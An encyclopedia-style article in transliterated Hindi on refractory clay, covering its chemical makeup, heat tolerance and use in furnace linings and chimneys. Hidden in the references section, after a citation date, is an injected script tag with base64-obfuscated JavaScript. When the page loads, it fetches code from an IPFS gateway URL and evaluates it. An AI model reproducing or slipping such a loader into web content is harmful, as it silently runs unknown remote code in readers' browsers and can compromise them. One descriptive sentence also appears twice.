अग्निसह मिट्टी
agnisah mitti ek vishesh prakar ki mitti ko kaha jata hai, jo bina pighale athava komal hue atyadhik tap sahan kar sakati hai. achchhi agnisah mitti mahin tatha chikani hoti hai aur usaka rang safed hota hai. yah koyale ki khanoan ke pas paee jati hai.[1]
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rasayanik rachana
bhinn-bhinn sthanoan mean paee jane vali agnisah mitti ki rachana ek doosari se tho di bahut bhinn hoti hai, par mukhyat: inaki rasayanik rachana is prakar ki hoti hai-
- silika 59 se 96 pratishat
- ailyumina 2 se 36 pratishat
- lauh aksaid 2 se 5 pratishat
inake atirikt sookshm matra mean choona, maiganishiya, potash tatha soda bhi paya jata hai.
tap sahanashilata
ailyuminiyam aauksaid[2]aur baloo[3] anupat mean jitani adhik matra mean raheange, utani hi mishran mean agni sahane ki shakti adhik hogi. yadi lohe ke aauksaid athava choona, maiganishiya, potash ya any kshariy padarth ki matra adhik hogi to ye garami pane par mitti ke pighalane mean sahayata kareange, at: jab ye vastuean mitti mean adhik matra mean rahati haian to mitti agnisah nahian hoti. parantu jab ye vastuean ek sima se kam matra mean rahati hai to ve mitti ke kanoan ko apas mean baandh nahian patian. isalie mitti kamazor ho jati hai.
isi prakar mitti ke kanoan ki mapean bhi usake agni sahane ke gun par prabhav dalati hai. ek sima tak mote kanoan vali mitti adhik agnisah hoti hai. achchhi agnisah mitti mahin tatha chikani hoti hai aur usaka rang safed hota hai. yah koyale ki khanoan ke pas paee jati hai.[1]
upayog
agnisah mitti aangithi, bhatthi tatha chimani ityadi ke bhitar, jahaan ag ki garami atyadhik hone se sadharan mitti ki eetean athava palastar ke chatak jane ki ashanka rahati hai, eetan athava lep ke roop mean kam mean laee jati hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 agnisah mitti (hiandi). . abhigaman tithi: 16 faravari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ailyumina)
- ↑ silika
bahari k diyaan
sanbandhit lekh
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